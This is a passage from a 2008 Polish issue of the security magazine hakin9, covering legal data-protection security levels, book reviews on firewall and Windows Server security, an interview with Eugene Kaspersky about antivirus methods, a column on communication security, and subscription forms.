nie osoby odpowiedzialnej za te czynności
2
Stosowane metody i środki uwierzytelnienia oraz procedury związa-
ne z ich zarządzaniem i użytkowaniem
3
Procedury rozpoczęcia, zawieszenia i zakończenia pracy przezna-
czone dla użytkowników systemu
4
Procedury tworzenia kopii zapasowych zbiorów danych oraz progra-
mów i narzędzi programowych służących do ich przetwarzania
5
Sposób, miejsce i okres przechowywania: elektronicznych nośników
informacji zawierających dane osobowe, kopii zapasowych zbiorów
danych
6
Sposób zabezpieczenia systemu informatycznego przed działalno-
ścią oprogramowania, którego celem jest uzyskanie nieuprawnione-
go dostępu do systemu informatycznego
7
Sposób realizacji odnotowania informacji o odbiorcach, którym da-
ne osobowe zostały udostępnione, dacie i zakresie udostępnienia,
chyba że system informatyczny używany jest do przetwarzania da-
nych w zbiorach jawnych
Rysunek 3.
Poziomy bezpieczeństwa przetwarzania danych osobowych
�����������������������
�����������������
���������������������
������������������
�������������������
�������������
�����������������
������������������
����������
�����������
������
hakin9 Nr 3/2008
www.hakin9.org
Bezpieczna firma
72
i w pionie od miejsca ich wytwo-
rzenia). W przypadku stosowa-
nia komputerów przenośnych do
przetwarzania danych osobowych,
należy zapewnić ochronę krypto-
graficzną danych osobowych prze-
twarzanych poza obszarem prze-
twarzania.
Urządzenia, dyski, elektro-
niczne nośniki informacji przezna-
czone do likwidacji lub przekaza-
nia podmiotowi nieuprawnionemu
należy pozbawić zapisu danych
w sposób trwały, a w przypadku
ich naprawy – naprawiać je pod
nadzorem.
Na administratorze danych
spoczywa obowiązek monitorowa-
nia wdrożonych zabezpieczeń sys-
temu informatycznego.
Poziom podwyższony
Poziom podwyższony stosuje się,
gdy w systemie informatycznym
przetwarza się dane wrażliwe oraz
żadne z urządzeń systemu infor-
matycznego nie jest połączone
z siecią publiczną. Środki bezpie-
czeństwa na poziomie podwyż-
szonym określa część B załączni-
ka do rozporządzenia MSWiA.
Na poziomie podwyższonym
stosuje się – zgodnie z zasadą
kaskadowości – środki ochrony
właściwe dla poziomu podstawo-
wego. Dodatkowo administrator
danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony.
W przypadku, gdy do uwierzytel-
niania użytkowników systemu uży-
wa się hasła, hasło powinno za-
wierać małe i duże litery oraz cyfry
lub znaki specjalne i składać się
z co najmniej 8 znaków. W przy-
padku, gdy urządzenia i elektro-
niczne nośniki informacji zawie-
rające dane osobowe tzw. wraż-
liwe przekazywane są poza
obszar
przetwarzania,
nale-
ży zabezpieczyć je w spo-
sób zapewniający ochronę po-
ufności i integralność danych.
Opis zastosowanych środków
powinna
określać
instrukcja
zarządzania systemem informa-
tycznym służącym do przetwarza-
nia danych osobowych.
Poziom wysoki
Poziom wysoki stosuje się, gdy
przynajmniej jedno urządzenie
systemu informatycznego połączo-
ne jest z siecią publiczną. Środki
bezpieczeństwa na poziomie wy-
sokim określa część C załącznika
do rozporządzenia MSWiA.
Na poziomie wysokim stosu-
je się – zgodnie z zasadą kaska-
dowości – środki ochrony właści-
we dla poziomu podwyższonego i
poziomu podstawowego. Dodatko-
Podstawowe pojęcia związane z bezpieczeństwem
teleinformatycznym
• dane osobowe – wszelkie informacje dotyczące zidentyfikowanej lub możli-
wej do zidentyfikowania osoby fizycznej,
• administrator danych – organ, jednostka organizacyjna, podmiot lub osoba,
decydująca o celach i środkach przetwarzania danych osobowych,
• administrator bezpieczeństwa informacji – osoba nadzorująca przestrze-
ganie zasad ochrony danych osobowych,
• zbiór danych – każdy posiadający strukturę zestaw danych o charakterze
osobowym, dostępny według określonych kryteriów, niezależnie od tego,
czy zestaw ten jest rozproszony lub podzielony funkcjonalnie,
• przetwarzanie danych – jakiekolwiek operacje wykonywane na danych
osobowych, takie jak zbieranie, utrwalanie, przechowywanie, opracowy-
wanie, zmienianie, udostępnianie i usuwanie, a zwłaszcza te, które wyko-
nuje się w systemach informatycznych,
• system informatyczny – zespół współpracujących ze sobą urządzeń, pro-
gramów, procedur przetwarzania informacji i narzędzi programowych za-
stosowanych w celu przetwarzania danych,
• zabezpieczenie danych w systemie informatycznym – wdrożenie i eksplo-
atacja stosownych środków technicznych i organizacyjnych zapewniają-
cych ochronę danych przed ich nieuprawnionym przetwarzaniem,
• hasło – ciąg znaków literowych, cyfrowych lub innych, znany jedynie oso-
bie uprawnionej do pracy w systemie informatycznym,
• identyfikator użytkownika – ciąg znaków literowych, cyfrowych lub innych,
jednoznacznie identyfikujących osobę upoważnioną do przetwarzania da-
nych osobowych w systemie informatycznym
• uwierzytelnianie – działanie, którego celem jest weryfikacja deklarowanej
tożsamości podmiotu,
• poufność danych – właściwość zapewniająca, że dane nie są udostępnia-
ne nieupoważnionym podmiotom,
• rozliczalność – właściwość zapewniająca, że działania podmiotu mogą być
przypisane w sposób jednoznaczny tylko temu podmiotowi,
• integralność danych – właściwość zapewniająca, że dane osobowe nie zo-
stały zmienione lub zniszczone w sposób nieautoryzowany,
• usuwanie danych – zniszczenie danych osobowych lub taka ich modyfi-
kacja, która nie pozwoli na ustalenie tożsamości osoby, której dane doty-
czą,
• raport – przygotowane przez system informatyczny zestawienia zakresu i
treści przetwarzanych danych,
• teletransmisja – przesyłanie informacji za pośrednictwem sieci telekomuni-
kacyjnej,
• sieć publiczna – publiczna sieć telekomunikacyjna wykorzystywana głów-
nie do świadczenia publicznie dostępnych usług telekomunikacyjnych.
Tabela 3.
Poziomy bezpieczeństwa
przetwarzania danych osobowych w
systemie informatycznym
Lp. Poziomy bezpieczeństwa
przetwarzania danych
osobowych w systemach
informatycznych
1
podstawowy
2
podwyższony
3
wysoki
hakin9 Nr 3/2008
73
wo administrator danych ma obowiązek wdrożyć ni-
żej wymienione środki ochrony. System informatycz-
ny należy chronić przed zagrożeniami pochodzący-
mi z sieci publicznej poprzez wdrożenie fizycznych
lub logicznych zabezpieczeń chroniących przed nie-
uprawnionym dostępem.
W przypadku zastosowania logicznych zabezpie-
czeń należy zapewnić kontrolę przepływu informa-
cji pomiędzy systemem informatycznym administra-
tora danych a siecią publiczną oraz kontrolę dzia-
łań inicjowanych z sieci publicznej i systemu informa-
tycznego administratora danych (np. poprzez zasto-
sowanie zapory ogniowej). W przypadku, gdy dane
do uwierzytelniania użytkowników systemu przesyła-
ne są w sieci publicznej, należy zastosować środki
ochrony kryptograficznej.
Szczegółowe informacje na temat środków ochro-
ny na poszczególnych poziomach bezpieczeństwa
określa załącznik do rozporządzenia MSWiA.
Należy zauważyć, że wyżej wymienione rozpo-
rządzenie określa minimalne wymagania w zakresie
bezpieczeństwa teleinformatycznego danych osobo-
wych.
Administrator danych może dodatkowo zastoso-
wać inne środki ochrony w celu zapewnienia bezpie-
czeństwa przetwarzania danych osobowych, niż to
wynika z wymagań określonych w ustawie i rozpo-
rządzeniu MSWiA.
Podsumowanie
Przepisy prawa określają minimalne wymagania
związane z bezpieczeństwem teleinformatycznym
danych osobowych.
Oprócz nich należy uwzględnić zalecenia Ge-
neralnego Inspektora Ochrony Danych Osobowych
dotyczące problematyki bezpieczeństwa teleinfor-
matycznego danych osobowych oraz polskie normy
dotyczące bezpieczeństwa informacji, które stano-
wią źródło tzw. dobrych praktyk, a w szczególności:
PN-ISO/IEC 17799: 2007 Technika informatyczna
– Techniki bezpieczeństwa – Praktyczne zasady za-
rządzania bezpieczeństwem informacji i PN-ISO/IEC
27001: 2007 Technika informatyczna – Techniki bez-
pieczeństwa – Systemy zarządzania bezpieczeń-
stwem informacji – Wymagania. l
O autorze
Audytor systemów zarządzania jakością i zarządzania bez-
pieczeństwem informacji, specjalista w zakresie ochrony in-
formacji prawnie chronionych, redaktor portalu www.ochrona-
informacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl
hakin9 Nr 3/2008
www.hakin9.org
74
Księgozbiór
Tytuł: Cisco PIX. Firewalle
Autorzy: zespół autorów
Wydawca: Helion
Rok wydania w Polsce: 2006
Liczba stron: 544
Jedna z niewielu pozycji książkowych, która w sposób
bardzo szczegółowy podchodzi do tematu firewalli PIX
firmy Cisco. W początkowych rozdziałach tej książki omó-
wione zostały teoretyczne podstawy bezpieczeństwa
zapór sieciowych. Na uwagę zasługuje ukazanie – na
przykładzie Cisco Wheel – procesowego podejścia do
bezpieczeństwa, które staje się bardzo popularne i zosta-
nie standardem nie tylko dla urządzeń produkowanych
przez Cisco. Dla raczkujących w dziedzinie zabezpieczeń
przeznaczony jest opis certyfikatów Cisco dotyczących
firewalli, co zapewne pomoże takim użytkownikom wybrać
właściwą drogę rozwoju. Kolejne rozdziały zawierają już
bardziej praktyczne informacje. Dotyczą one posługiwania
się samymi firewallami oraz ich działania, licencjonowa-
nia, protokołów transmisji czy też komunikacji z tymi urzą-
dzeniami. W dalszej części tekstu można prześledzić funk-
cjonowanie ASDM – czyli przyjaznego menu, służącego
do konfiguracji i monitorowania urządzenia bezpośrednio
z sieci. W książce znajdziemy również wiele informacji na
temat bezpiecznej konfiguracji VPN. Całość jest doskona-
le skomponowana, o czym świadczy dobre uzupełnienie
materiałów praktycznych o niezbędne informacje teore-
tyczne. Jest to jedna z tych pozycji, którą dla powiększenia
swojej wiedzy można przeczytać od początku do końca
lub odnosząc się tylko do poszczególnych rozdziałów, z
których każdy stanowi niezależną całość. Wielokrotnie w
swojej codziennej pracy sięgałem do tej książki, stanowi
ona uzupełnienie mojej wiedzy w zakresie firewalli PIX.
Książka zawiera bardzo wyczerpujący opis firewalli PIX,
metod ich konfiguracji oraz administracji nimi. Wszystko to
zostało opisane w sposób wyjątkowo czytelny, w zrozu-
mieniu tekstu pomoże szeroki zestaw screenshotów, sche-
matów oraz przykładów sesji terminalowych urządzenia.
To bardzo przydatna książka, którą powinien mieć każdy
administrator zarządzający firewallami PIX.
Jarosław Peterko
Tytuł: Windows Server 2003. Bezpieczeństwo sieci
Autorzy: Neil Ruston, Chris Peiris, Laura Hunter
Wydawca: Helion
Rok wydania w Polsce: 2007
Liczba stron: 584
Książka Windows Server 2003. Bezpieczeństwo sieci to
kompendium wiedzy na temat tego systemu operacyjne-
go w aspekcie bezpieczeństwa sieci. Publikacja jest adre-
sowana do administratorów oraz osób projektujących sieci
komputerowe. Książka ta bardzo dobrze ukazuje problema-
tykę bezpieczeństwa sieci w środowiskach opartych o system
Windows Server 2003. Autorzy krok po kroku wprowadzają
w coraz ważniejsze i bardziej skomplikowane mechanizmy
zabezpieczeń, wspierając Czytelnika przykładami konfigu-
racji systemu. Publikacja zawiera informacje, które pozwo-
lą na zaprojektowanie oraz funkcjonowanie bezpiecznego
środowiska. Zawarte zostały również informacje odnośnie
zaprojektowania bezpiecznej infrastruktury klienckiej. Książ-
ka przedstawia także metody wykrywania naruszeń bezpie-
czeństwa oraz schemat postępowania w takich sytuacjach.
Czytelnik znajdzie tu kompletne informacje na temat zabez-
pieczenia sieci od podstaw, jak również szczegółowe dane
na temat usług zaimplementowanych w systemie Windows
Server 2003 w kontekście zabezpieczeń. Autorzy rozpoczy-
nają książkę od omówienia podstaw bezpieczeństwa obo-
wiązujących dla wszystkich środowisk serwerowych, których
zrozumienie umożliwia projektowanie bezpiecznych sieci.
W dalszej części publikacji zostają szczegółowo omówio-
ne mechanizmy zabezpieczeń dla usług sieciowych, którymi
dysponuje Windows Server 2003. Przykładem usługi, która
została opisana w książce, jest IIS. Od niedawna usługa IIS
zdobywa coraz większą popularność, książka zawiera infor-
macje pozwalające zabezpieczyć witrynę opartą o Active
Server Pages. Moim zdaniem wśród opisanych rozwiązań
praktycznych brakuje szerszego przedstawienia problemu
bezpieczeństwa usług terminalowych oraz protokołu RDP,
które to usługi są coraz szerzej wykorzystywane.
Książka jest warta polecenia administratorom oraz pro-
jektantom środowisk opartych o system Windows Server
2003.
Rafał Pop
www.hakin9.org
hakin9 Nr 3/2008
76
Wywiad
hakin9:
Czy mógłbyś przedstawić się naszym
Czytelnikom?
Eugene Kaspersky:
Nazywam się Euge-
ne Kaspersky i jestem założycielem oraz CEO
(Chief Executive Officer) firmy Kaspersky Lab,
jednego z wiodących producentów dostarcza-
jących bezpiecznych rozwiązań informatycz-
nych na całym świecie. Przez ostatnie 18 lat mia-
łem do czynienia z zagrożeniami komputerowy-
mi – zaczynając od konwencjonalnych wirusów
jeszcze w 1989 roku, na nowoczesnych, złożo-
nych i gwałtownie rosnących liczebnie niebezpie-
czeństwach internetowych kończąc.
h9:
Czy mógłbyś wyjawić sekrety dotyczące stra-
tegii firmy Kaspersky w nadchodzącym 2008 ro-
ku?
EK:
W pierwszej kolejności planujemy umoc-
nić naszą obecność na wszystkich obszarach
geograficznych. W chwili obecnej przodujemy
w sprzedaży w Europie i Stanach Zjednoczonych
(zajmujemy pierwsze miejsce w handlu detalicz-
nym w Niemczech, Austrii i Szwajcarii, drugie we
Francji oraz trzecie w Hiszpanii), lecz nadal za-
leży nam na zdobyciu lepszej pozycji w krajach
Ameryki Łacińskiej, Azji, na Bliskim Wschodzie
czy w Afryce. Na drugim miejscu stawiamy po-
dążanie za postępem technologicznym oraz cią-
gły rozwój najlepszych na świecie rozwiązań an-
tywirusowych.
I po trzecie, w 2008 roku zamierzamy skupić
się na umocnieniu pozycji na rynku rozwiązań ko-
mercyjnych. W chwili obecnej obserwujemy za-
skakujący wzrost sprzedaży produktów skiero-
wanych do użytkownika domowego, lecz najwyż-
sza pora na przejęcie rynku biznesowego. Po-
siadamy w ofercie kilka korporacyjnych produk-
tów, które skupiają na sobie uwagę coraz więk-
szej ilości klientów z całego świata, od Australii
do Szwecji.
Ponadto planujemy kontynuować rozwijanie
naszych bezpiecznych usług oferowanych fir-
mom. W wielu przypadkach rozwiązania te są
najbardziej odpowiednie dla określonego typu
biznesu, który nie może sobie pozwolić na za-
kup dodatkowego wyposażenia, oprogramowa-
nia oraz zatrudnienia dodatkowych oficerów bez-
pieczeństwa. Myślę, iż jest to bardzo obiecują-
cy rynek.
h9:
Kto wprowadził cię w świat komputerów?
EK:
Początkowo komputery pojawiły się w mo-
im życiu z powodu moich matematycznych
studiów na uczelni. W tamtych czasach kompu-
tery były narzędziem służącym mojej matematy-
ce i edukacji, wliczając w to częściowo informaty-
Wywiad z Eugenem
Kasperskym
Eugene Kaspersky należy do
czołowych ekspertów w dziedzinie
bezpieczeństwa informacji: jest
autorem wielu artykułów
i recenzji dotyczących problematyki
wirusologii komputerowej, regularnie
przemawia na specjalistycznych
seminariach i konferencjach
organizowanych na całym świecie.
hakin9 Nr 3/2008
www.hakin9.org
77
Wywiad
kę. Z pierwszym wirusem miałem do czynienia kilka lat póź-
niej, w 1989, podczas mojej służby wojskowej, gdy do mo-
ich obowiązków należało programowanie i gdzie posiada-
łem dostęp do niesamowicie zaawansowanej maszyny jak
na tamte czasy i moje stanowisko – Olivetti M24. Maszy-
na ta została niespodziewanie zainfekowana powszechnie
znanym wirusem Cascade, który był pierwszym złośliwym
oprogramowaniem, które przeanalizowałem i na które stwo-
rzyłem lekarstwo.
h9:
Czy byłeś dzieckiem blackhat, jak wielu Czytelników
magazynu hakin9 w latach 80-90?
EK:
Nigdy. W latach 80-tych i wczesnych 90-tych pracowa-
łem nad bezpieczeństwem komputerowym i nie miało to nic
wspólnego z terminami blackhat czy hacking. Ponadto wie-
rzę w czarny i biały wszechświat – jeśli raz spróbowałeś nie-
legalnych działań, nigdy już nie będziesz w stanie przejść
na dobrą stronę i chronić ludzi. I jako ostatnie pragnę zazna-
czyć, iż żaden były haker nie pracuje w mojej firmie, mimo,
że kilku z nich przysyła nam od czasu do czasu swoje CV.
h9:
AV bazujące na sygnaturach były mocno krytykowane.
Czy sądzisz, że ten trend zmieni się w przyszłości?
EK:
Oczywistym jest fakt, iż w dzisiejszych czasach ob-
serwujemy wzrost ilości złośliwego oprogramowania,
a w związku z tym coraz trudniej będzie borykać się z tym
problemem firmom zajmującym się bezpieczeństwem. Jak-
kolwiek, obecnie wszystkie największe firmy są przygoto-
wane do tego wzrastającego trendu, a metoda bazująca na
sygnaturach pozostaje głównym i najbardziej precyzyjnym
sposobem wykrywania i neutralizowania zagrożeń. Oczy-
wiście heurystyka i detekcja opierająca się na analizie za-
chowawczej będą odgrywały coraz większą rolę, równo-
cześnie zwiększając efektywność, lecz nie sądzę, aby te
metody były w stanie całkowicie zastąpić metodę bazują-
cą na sygnaturach.
h9:
W jaki sposób utrzymujecie precyzyjność sygnatur
AV?
EK:
Jeśli masz na myśli, w jaki sposób wykluczamy fał-
szywe trafienia – robimy to za pomocą podwójnych i po-
trójnych testów na wszystkich sygnaturach zagrożeń. Te-
stujemy je i analizujemy pod kątem rzekomego złośliwe-
go zachowania, z zachowaniem zasady, aby nie doda-
wać sygnatury w przypadku nieszkodliwego i użyteczne-
go oprogramowania.
h9:
Jak zamierzacie rywalizować w istniejącym wyścigu
oprogramowania AV?
EK:
To zabawne pytanie, gdyż już obecnie współzawod-
niczymy w świecie oprogramowania AV. Aktualnie nasza
firma znajduje się na 6 pozycji na rynku globalnych bez-
piecznych rozwiązań i w roku 2008 mamy nadzieję zająć
5 miejsce. Ale oczywiście nie jest to nasz jedyny cel.
h9:
Co robić przeciwko wirusom polimorficznym?
EK:
To jest bardzo dobre pytanie, na które nie jest łatwo
odpowiedzieć, gdyż jest ono zbyt techniczne. Przeciwko
poliwirusom używamy różnych metod, takich jak: emu-
lacja, detekcja szkieletowa, analiza statystyczna, metody
kryptologiczne i inne – w zależności od konkretnie zasto-
sowanego algorytmu polimorficznego.
h9:
Nadal istnieje wielu dostawców AV, których produkty
bazują jedynie na detekcji sygnatur.
EK:
Tak, nadal jest kilka takich firm, lecz ich sytuacja jest
bez nadziei na poprawę. Będą musieli dorównać pozo-
stałym lub staną się historią. Analizy oparte jedynie na
sygnaturach, nie mogą mierzyć się z tysiącami nowego
złośliwego oprogramowania powstającymi każdego tygo-
dnia i proaktywne technologie staną się koniecznym uzu-
pełnieniem dla metod opartych o wyłącznie o sygnatury.
h9:
Jakie narzędzia są używane w twojej firmie lub z ja-
kich narzędzi korzystacie przy tworzeniu własnych?
EK:
Częściowo używamy popularnych narzędzi przy-
gotowanych przez inne firmy zajmujące się bezpieczeń-
stwem. Czasami jednak nasze zadanie jest zbyt unikalne
(na przykład jesteśmy jedynymi, którzy stosują aktuali-
zacje sygnatur co godzinę), więc musimy tworzyć i uży-
wać nasze własne narzędzia. Korzystamy z zaprojekto-
wanych przez nas samych, automatycznych analizato-
rów złośliwego oprogramowania oraz analizatorów heu-
rystycznych.
h9:
Czy wierzysz, iż wielu badaczy tworzy złośliwe opro-
gramowanie?
EK:
Cóż, 25 czy nawet 15 lat temu to się zdarzało, lecz
nie w chwili obecnej. Na przykład pierwszy wirus na plat-
formę biurową został utworzony w 1982 roku przez ba-
daczy, w celu udowodnienia teorii o możliwości istnie-
nia samo-rozprzestrzeniającego się oprogramowania.
Obecnie twórcy wirusów nie są badaczami ani chuligana-
mi – są kryminalistami i ich głównym celem jest cel przy-
świecający wszystkim przestępcom – nielegalne zarabia-
nie pieniędzy. Najpopularniejsze złośliwe oprogramowa-
nie zostało w większości stworzone wyłącznie w jednym
celu – by generować nielegalne dochody. Kradzież da-
nych dotyczących kart kredytowych, ataki DDoS, SPAM
– to tylko kilka przykładów na zarabianie przy pomocy mal-
ware'u. Wszystko, co miało zostać odkryte na tym polu, zo-
stało wynalezione, teraz ta wiedza jest jedynie wprowadza-
na w życie.
h9:
Dziękujemy za rozmowę.
EK:
Dziękuję.
hakin9 Nr 3/2008
www.hakin9.org
78
Z
ałóżmy, że istnieje komunikacja, w której kompu-
ter występuje tylko, jako specjalistyczne medium,
przystosowane do warunków stawianych tej komu-
nikacji, przez które zachodzi owa komunikacja. Załóżmy,
że komunikacja ta potrafi zapewnić takie same warunki
transmisji bez względu na rodzaj przesyłanych danych.
Posiada ona zdolność realizacji transmisji (dostarczania
i odbierania informacji) w dokładnie wyznaczonym przez
użytkownika czasie. Rozpoczęta transmisja będzie posia-
dać zdolność do odtwarzania przekazywanych informacji
pomiędzy dwoma punktami komunikacyjnymi (np. klien-
tem i serwerem) z wymaganą przez użytkownika dokład-
nością. Pod pojęciem dokładności kryje się tutaj zdolność
zachowania identycznej treści informacji wysłanej przez
nadawcę i dostarczonej do odbiorcy. Oczywiście, najważ-
niejszym założeniem komunikacji jest jej poufność, czyli
uniemożliwienie do przechwycenia nawiązanej łączności.
Posiadając zdefiniowane podstawowe założenia, które
spełnia technologia, należy do niej przygotować odpo-
wiednich operatorów, czyli osoby funkcyjne przestrzega-
jące warunków bezpieczeństwa łączności. Osoby uży-
wające z założenia bezpiecznej transmisji same muszą
postępować według ściśle określonych reguł, by poziom
poufności komunikacji nie został naruszony poprzez jej
nieodpowiednie wykorzystanie. Z założenia osoby takie
powinny wyłącznie transmitować za jej pomocą wiado-
mości niezbędne do przekazania zamierzonych informa-
cji, wykorzystywać tylko łącza między zaufanymi i ziden-
tyfikowanymi punktami komunikacyjnymi, dokonywać
okresowych zmian w kryptografii transmisji z osobistym
powiadomieniem drugiej strony o zaistniałym fakcie,
a w przypadku łączności bezprzewodowej – pracować
z minimalną, niezbędną mocą urządzeń transmisyjnych,
stosując anteny kierunkowe, pozostające w minimalnej
widoczności; w przypadku łączności mobilnej – wybierać
właściwe miejsca na dokonywanie komunikacji. Poprzez
stosowanie się do tych postanowień wyznaczamy tylko
pewien procent pełnej zgodności z bezpieczeństwem
komunikacji, ponieważ np. dokonując okresowych zmian
w kodowaniu łącza nie możemy sobie pozwolić na zmianę
danych kryptograficznych w innym terminie, niż to zosta-
ło uzgodnione z drugą stroną. Ponadto do listy zakazów
możemy dodać zapisywanie kluczy, loginów i danych iden-
Założenia komunikacji
tyfikacyjnych na nie rejestrowanych nośnikach danych.
Mając na myśli wiadomości niezbędne do przekazania
zamierzonych informacji wyklucza się ujawnianie w trak-
cie komunikacji takich informacji jak: przyjętych nicków
czy kryptonimów, pełnych lub częściowych danych per-
sonalnych (nazwisk, posad, stanowisk, adresów), lokali-
zacji środków łączności, terminów nawiązywania kolejnych
transmisji czy podsumowań wymiany informacji.
Wszystkie te wytyczne i założenia stanowią zaledwie
część pełnych zasad bezpieczeństwa komunikacji. Mają
one na celu uniemożliwienie osobie postronnej ingeren-
cji w naszą komunikację, jej przechwycenie oraz lokaliza-
cję środków łączności czy rozpoznanie osób ją nawiązu-
jących. Widocznym na pierwszy rzut oka jest fakt bardzo
restrykcyjnych i ograniczających etykiet w swobodzie
przepływu informacji. Co zawsze paradoksalnie wpływa-
ło na stosunek: bezpieczeństwo – swoboda, ponieważ
najważniejszymi założeniami komunikacji jest swobod-
ne przekazywanie informacji z zachowaniem najwięk-
szej jej poufności. Dlatego w wielu projektach komunika-
cyjnych, w wyniku znalezienia kompromisu między tymi
dwoma z natury sprzecznymi zjawiskami, powstaje luka,
której wykorzystanie zazwyczaj opiera się na wykorzy-
staniu słabości bezpieczeństwa w celu dotarcia do swo-
bodnie przekazywanych informacji. Rezygnując z prze-
kazywania wrażliwych z punktu widzenia możliwości
wykorzystania informacji, unikamy ryzyka nawet w przy-
padku przełamania zabezpieczeń komunikacji. Jednak
z założenia głównym celem komunikacji jest przekazywa-
nie właśnie takich informacji. W tym klasycznym modelu
o swobodzie i bezpieczeństwie komunikacji decyduje
zarówno nadawca, jak i odbiorca informacji. Jeśli, mimo
stosowanych zasad, nadawca osiągnął to, o co mu cho-
dziło, a odbiorca otrzymał to, na co oczekiwał – jakość
komunikacji jest wysoka. Jeśli nadawca prosi o wykonanie
danej czynności, a odbiorca ją wykonuje – komunikacja
jest skuteczna. Jeśli podczas komunikacji odbiorca może
stosować dopytywanie, parafrazowanie lub empatyzowa-
nie informacji przekazywanych przez nadawcę – komu-
nikacja jest swobodna. Natomiast jeśli wszystkie powyż-
sze trzy warunki są spełnione jednocześnie – komunikacja
nigdy nie będzie postrzegana jako bezpieczna, bez wzglę-
du na stosowaną technologię. l
Patryk Krawaczyński agresor@nfsec.pl
Felieton
Tytuł
Ilość numerów
w roku
Ilość zamawianych
prenumerat
Od numeru pisma
lub miesiąca
Opłata w zł
z VAT
hakin9 (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
900
Dodatkowy drukowany egzemplarz
12
80
W sumie
(liczba prenumerat x cena)
Formularz zamówienia prenumeraty
Dane osoby / firmy zamawiającej
Imię i nazwisko
Stanowisko
ID kontrahenta*
* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe
Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy
Pieczęć firmy i podpis
Nazwa firmy
Dokładny adres
Telefon (wraz z numerem kierunkowym)
Faks (wraz z numerem kierunkowym)
Adres e-mail
Numer NIP firmy
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 427 36 69
lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa,
e-mail: pren@software.com.pl
Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.
w w w . b u y i t p r e s s . c o m . p l
Prenumerata korporacyjna hakin9 pozwoli Ci
na dowolne powielenie i rozpowszechnianie pisma
w obrębie Twojej firmy
Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238
W ramach prenumeraty korporacyjnej otrzymają Państwo:
1. Pismo w wersji elektronicznej
2. Dwa dodatkowe egzemplarze w wersji drukowanej
3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
Zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
W lipcu i sierpniu ukazuje się jeden wakacyjny numer
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
11
3
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
hakin9 - jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
11
3
199
1
/219
.psd (2 płyty CD)
Miesięcznik użytkowników programu Adobe Photoshop
11
3
199
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
3DFX
Dwumiesięcznik miłośników grafiki trójwymiarowej
6
140
Suma
hakin9 Nr 3/2008
www.hakin9.org
82
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży na początku kwietnia 2008 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
4/2008
w następnym numerze między
innymi:
Zapowiedzi
Zagrożenia płynące z używania Bluetooth’a
Bluetooth jest sukcesorem takich interfejsów, jak IRDA czy FastIRDA. Arty-
kuł Mariana Witkowskieg opisuje jakie zagrożenia niesie ze sobą nieumiejęt-
ne korzystanie z tej technologii.
Formaty graficzne
z punktu widzenia bughuntera
W tym numerze Michał Składnikiewicz podją temat błędów w aplikacjach
korzystających z formatu BMP. W następnym miesiącu zajmie się kolejnymi
formatami graficznymi.
Hashlimit
Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewalla, jest korzystanie z łatki hashlimit. Oferowane przez nią
możliwości są ograniczone jedynie wyobraźnią administratora. Opisane w
artykule rozwiązania będą przedstawiane oraz testowane w rzeczywistym
środowisku, które obsługuje sieć na parę tysięcy klientów z dostępem do
Internetu (lokalny ISP). Konfigurować będziemy główny router a zarazem
firewall, który kontroluje ruch internetowy indywidualnych klientów oraz
serwera usługowego z zainstalowanymi usługami WWW/FTP/mail/DNS/
SSH i Verlihub.
NA CD:
• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.
Atak
Obrona